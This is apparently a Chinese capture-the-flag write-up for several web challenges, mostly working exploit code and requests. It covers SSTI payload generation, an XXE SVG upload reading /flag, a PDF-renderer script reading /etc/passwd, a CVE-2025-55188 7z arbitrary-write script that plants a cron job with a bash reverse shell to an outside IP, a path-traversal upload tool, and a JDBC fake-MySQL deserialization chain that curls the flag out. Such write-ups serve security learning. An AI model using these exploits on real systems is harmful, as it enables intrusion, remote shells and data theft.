if "是不会给你渲染的" not in s and "渲染出错" not in s:
return 1
else:
return 0


full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
print("这个payload不会产生回显")
print(payload)

# 生成payload后在这里打上去
r = requests.get(URL, params = {
"name": payload
})

print(r.text)

Image Viewer

SVG 配合 XXE,有回显,直接 b64 转码就可以看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /render HTTP/1.1
Host: geek.ctfplus.cn:31596
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary3bf10812fb42be19a8f1bccfb89843f4
Content-Length: 406
Origin: http://geek.ctfplus.cn:31596
Connection: keep-alive
Referer: http://geek.ctfplus.cn:31596/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary3bf10812fb42be19a8f1bccfb89843f4
Content-Disposition: form-data; name="file"; filename="QQ20251106-141413.jpg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="1000" width="1000">
<text x="10" y="20">&file;</text>
</svg>
------geckoformboundary3bf10812fb42be19a8f1bccfb89843f4--

PDF Viewer

随便试一个 HTML 标签发现出网。

1
<img src="http://123.57.107.33:1337/">

用服务器接收,发现 PDF 引擎。

image-20251108164354599

结合搜索引擎找打法:

1
2
3
4
5
6
<script>
x = new XMLHttpRequest();
x.open("GET",'file:///etc/passwd',false);
x.send();
document.write(x.responseText);
</script>

读到用户信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:105::/nonexistent:/usr/sbin/nologin
avahi:x:104:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:105:108::/var/lib/geoclue:/usr/sbin/nologin dave:x:1000:1000::/home/dave:/bin/bash
john:x:1001:1001::/home/john:/bin/bash emma:x:1002:1002::/home/emma:/bin/bash
WeakPassword_Admin:x:1003:1003::/home/WeakPassword_Admin:/bin/bash

结合 /admin 界面的 hint 加用户信息,直接找字典爆破,得到 flag。

image-20251108164544985

image-20251108164514968

week4

77777 time task

注意到源码逻辑问题:

image-20251117212647247

这里有 os.path 逆天特性 + 任意文件写。

想打:

1
/etc/cron.d/./7z

写入文件了,但是不执行,gg。

换个思路:

image-20251117133625939

查找相关nday。

NVD - CVE-2025-55188

CVE-2025-55188/poc_extraction_root/make_arb_write_7z.sh at main · lunbun/CVE-2025-55188

直接给了复现脚本,能写目录外任意位置,任意文件,跟着复现,写计划任务。注意注意,不能覆写。

1
/etc/cron.d/qwq

由于只能读文件名,只能在文件名 b64 以下 flag 了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#

olddir="$(pwd)"

tempdir="$(mktemp -d)"
cd "$tempdir"

mkdir -p a/b
ln -s /a a/b/link
7z a arb_write.7z a/b/link -snl

ln -s a/b/link/../../etc/cron.d/ link
7z a arb_write.7z link -snl
rm link

mkdir link
echo "* * * * * root cp /flag /tmp/gotflag.txt \n * * * * * root echo "qwq" > /tmp/\`cat /flag | base64\` \n * * * * * root bash -c 'bash -i >& /dev/tcp/123.57.107.33/1337 0>&1'" > link/qwq
7z a arb_write.7z link/qwq

cp arb_write.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"

python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import random

import requests
import os


def upload_any_file(target_url, local_file_path, remote_filename):
"""
上传任意文件到目标服务器的upload接口

Args:
target_url: 目标URL
local_file_path: 本地文件路径
remote_filename: 远程文件名(可以使用路径遍历)
"""

# 检查本地文件是否存在
if not os.path.exists(local_file_path):
print(f"[-] 本地文件不存在: {local_file_path}")
return False

try:
# 读取本地文件
with open(local_file_path, 'rb') as f:
files = {'file': (remote_filename, f, 'application/text,plain')}

# 上传到 /upload 接口
upload_url = f"{target_url.rstrip('/')}/upload"
print(f"[+] 正在上传文件...")
print(f" 本地文件: {local_file_path}")
print(f" 远程文件名: {remote_filename}")
print(f" 目标URL: {upload_url}")

response = requests.post(upload_url, files=files, timeout=30)

print(f"[+] 响应状态码: {response.status_code}")
print(response.text)
if response.status_code == 200:
print(f"[+] 上传成功!")
else:
print(f"[+] 服务器响应: {response.text}")

return response

except Exception as e:
print(f"[-] 上传失败: {e}")
return None


# 使用示例
if __name__ == "__main__":
# 目标URL
target_url = "http://019a904e-b411-7bd2-a05a-911ecdb20ebd.geek.ctfplus.cn/"

# 用户输入
local_file = input("请输入本地文件路径: ").strip()
if local_file == "":
local_file = "arb_write.7z"
# local_file = "arb_write.7z"
remote_name = input("请输入远程文件名: ").strip()
if remote_name == "":
remote_name = str(random.randint(1000, 9999))+".7z"
# remote_name = str(random.randint(1000, 9999)) + ".7z"

# 上传文件
upload_any_file(target_url, local_file, remote_name)

等一分钟:

image-20251117133907677

image-20251117133919315

ezjdbc

通过 jdgui 反编译 jar 得到关键信息:

image-20251117212350850

image-20251117212408653

打 jdbc恶意url注入 + cc链反序列化。

工具:

4ra1n/mysql-fake-server: 纯 Java 实现的 MySQL Fake Server | 支持 GUI 版和命令行版 | 支持反序列化和文件读取的利用方式 | 支持常见的 GADGET 和自定义 GADGET 数据 | 根据目标环境自动生成匹配的 PAYLOAD | 支持 PGSQL 和 DERBY 的利用

cc链的话选择工具中 cc31 这一条链。

exp:

1
2
3
4
5
jdbc:mysql://123.57.107.33:3308/mysql?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

deser_CC31_curl http://123.57.107.33:1337/ -F xx=@/flag -X POST

http://019a91e6-fff7-784a-8389-d4acc613a332.geek.ctfplus.cn/connect?url=jdbc%3Amysql%3A%2F%2F123.57.107.33%3A3308%2Fmysql%3FqueryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26autoDeserialize%3Dtrue&name=base64ZGVzZXJfQ0MzMV9jdXJsIGh0dHA6Ly8xMjMuNTcuMTA3LjMzOjEzMzcvIC1GIHh4PUAvZmxhZyAtWCBQT1NU&pass=1

直接外带 flag 即可。

image-20251117212756900

image-20251117212803668